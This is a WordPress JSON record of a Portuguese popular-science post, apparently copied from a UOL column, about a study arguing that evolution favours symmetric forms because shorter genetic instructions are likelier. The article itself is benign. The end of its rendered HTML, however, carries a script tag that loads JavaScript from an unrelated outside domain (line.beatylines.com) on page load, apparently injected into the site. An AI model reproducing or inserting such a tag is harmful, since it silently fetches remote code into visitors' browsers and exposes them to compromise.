{"id":666,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/por-que-a-evolucao-resulta-em-formas-simetricas\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"por-que-a-evolucao-resulta-em-formas-simetricas","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/por-que-a-evolucao-resulta-em-formas-simetricas\/","title":{"rendered":"Por que a evolu\u00e7\u00e3o resulta em formas sim\u00e9tricas?"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Voc\u00ea com certeza j\u00e1 reparou nas formas sim\u00e9tricas espalhadas pela natureza. Na semelhan\u00e7a entre o lado esquerdo e o direito do seu corpo, na simetria radial de uma flor ou nos cinco bra\u00e7os da estrela-do-mar.<\/p>\n<p>Certamente \u00e9 satisfat\u00f3rio notar um aspecto matem\u00e1tico nas formas naturais, e at\u00e9 nos parece natural que seja assim. Nos d\u00e1 a impress\u00e3o de uma certa engenharia envolvida no design dos seres vivos. Mas a verdade \u00e9 que n\u00e3o entendemos como um processo confuso como a evolu\u00e7\u00e3o acaba priorizando formas sim\u00e9tricas.<\/p>\n<p>Seriam as formas sim\u00e9tricas em geral mais funcionais? Em alguns casos nos parece que sim, por argumentos mec\u00e2nicos. Seria complicado andarmos em linha reta se uma de nossas pernas fosse completamente diferente da outra.<\/p>\n<p>Mas outros casos s\u00e3o menos \u00f3bvios. Nada impediria que uma flor tivesse v\u00e1rias p\u00e9talas diferentes, por exemplo. Assim como seu cora\u00e7\u00e3o tamb\u00e9m n\u00e3o est\u00e1 bem no meio do seu peito.<\/p>\n<p>Um estudo recente da Inglaterra (com participa\u00e7\u00e3o do brasileiro Chico Camargo) sugere que a raz\u00e3o da preval\u00eancia das formas sim\u00e9tricas na natureza n\u00e3o seja porque s\u00e3o necessariamente mais funcionais, mas simplesmente porque s\u00e3o mais f\u00e1ceis de serem constru\u00eddas.<\/p>\n<p>Basicamente, o uso de formas sim\u00e9tricas seria uma maneira de se obter maior complexidade com menos instru\u00e7\u00f5es.<\/p>\n<p>N\u00f3s tendemos a pensar na evolu\u00e7\u00e3o como algo que molda as formas naturais para executar alguma fun\u00e7\u00e3o. Afinal, evolu\u00edmos olhos porque precisamos enxergar. Mas na realidade a evolu\u00e7\u00e3o molda essas formas apenas indiretamente.<\/p>\n<p>O que a evolu\u00e7\u00e3o faz \u00e9 alterar as instru\u00e7\u00f5es para a constru\u00e7\u00e3o das formas naturais, codificadas no DNA.<\/p>\n<p>As formas resultantes depois s\u00e3o julgadas pela sele\u00e7\u00e3o natural. Assim, a maneira como as formas s\u00e3o codificadas \u00e9 uma parte importante do processo evolutivo.<\/p>\n<p>Al\u00e9m disso, essas instru\u00e7\u00f5es v\u00e3o sendo escritas de maneira aleat\u00f3ria no DNA. Para incrementar as formas naturais, temos que esperar que codifica\u00e7\u00f5es para as inova\u00e7\u00f5es surjam meio que por acaso, para depois serem selecionadas pelo processo evolutivo. Portanto, \u00e9 interessante pensar numa vers\u00e3o algor\u00edtmica da evolu\u00e7\u00e3o.<\/p>\n<p>Uma analogia interessante \u00e9 a do macaco na m\u00e1quina de escrever, pressionando teclas aleat\u00f3rias. Se o dermos tempo suficiente, por fim o macaco acabar\u00e1 escrevendo as obras completas de Shakespeare (assim como todos os livros poss\u00edveis em todas as l\u00ednguas poss\u00edveis).<\/p>\n<p>Obviamente, o macaco necessitaria de uma vida extremamente longa para tal empreitada. Por\u00e9m, se abaix\u00e1ssemos nossas expectativas para &#8220;apenas&#8221; um par\u00e1grafo, provavelmente n\u00e3o precisar\u00edamos esperar tanto.<\/p>\n<p>Dessa maneira, \u00e9 esperado que a evolu\u00e7\u00e3o priorize algoritmos mais curtos, simplesmente porque s\u00e3o mais prov\u00e1veis. E a maneira mais simples de se conseguir isso \u00e9 pela utiliza\u00e7\u00e3o repetida de m\u00f3dulos funcionais.<\/p>\n<p>Ao inv\u00e9s de se planejar cada p\u00e9tala, pega-se o c\u00f3digo para gerar uma p\u00e9tala e d\u00e1-se uma instru\u00e7\u00e3o para repetir ao redor de toda a flor.<\/p>\n<p>E \u00e9 assim em todas as escalas da vida.<\/p>\n<p>No n\u00edvel molecular, complexos de prote\u00ednas, caps\u00eddeos virais, e at\u00e9 mesmo estruturas de RNA apresentam formas sim\u00e9tricas.<\/p>\n<p>Os autores do estudo simularam a evolu\u00e7\u00e3o dessas estruturas moleculares a partir das instru\u00e7\u00f5es para ger\u00e1-las. No caso de um complexo de prote\u00ednas com mais de 13 milh\u00f5es de formas poss\u00edveis, em 30% das vezes o algoritmo resultou em uma das cinco formas sim\u00e9tricas organizadas num quadrado.<\/p>\n<p>Simetrias em n\u00edveis mais complexos s\u00e3o herdadas do n\u00edvel molecular.<\/p>\n<p>A complexidade de organismos mais desenvolvidos geralmente resulta da quebra de simetrias.<\/p>\n<p>N\u00f3s mesmos n\u00e3o temos a mesma simetria radial de uma \u00e1gua-viva ou de uma minhoca. Mas ainda assim conservamos as mesmas simetrias no n\u00edvel molecular e a maneira parcimoniosa de escrever nosso DNA.<\/p>\n<p>Entendendo a simplicidade das regras de nossa constru\u00e7\u00e3o no n\u00edvel mais b\u00e1sico, podemos come\u00e7ar a entender as origens de nossa complexidade.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/colunas\/para-onde-o-mundo-vai\/2022\/05\/03\/por-que-a-evolucao-resulta-em-formas-simetricas.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Voc\u00ea com certeza j\u00e1 reparou nas formas sim\u00e9tricas espalhadas pela natureza. Na semelhan\u00e7a entre o lado esquerdo e o direito do seu corpo, na simetria radial de uma flor ou nos cinco bra\u00e7os da estrela-do-mar. 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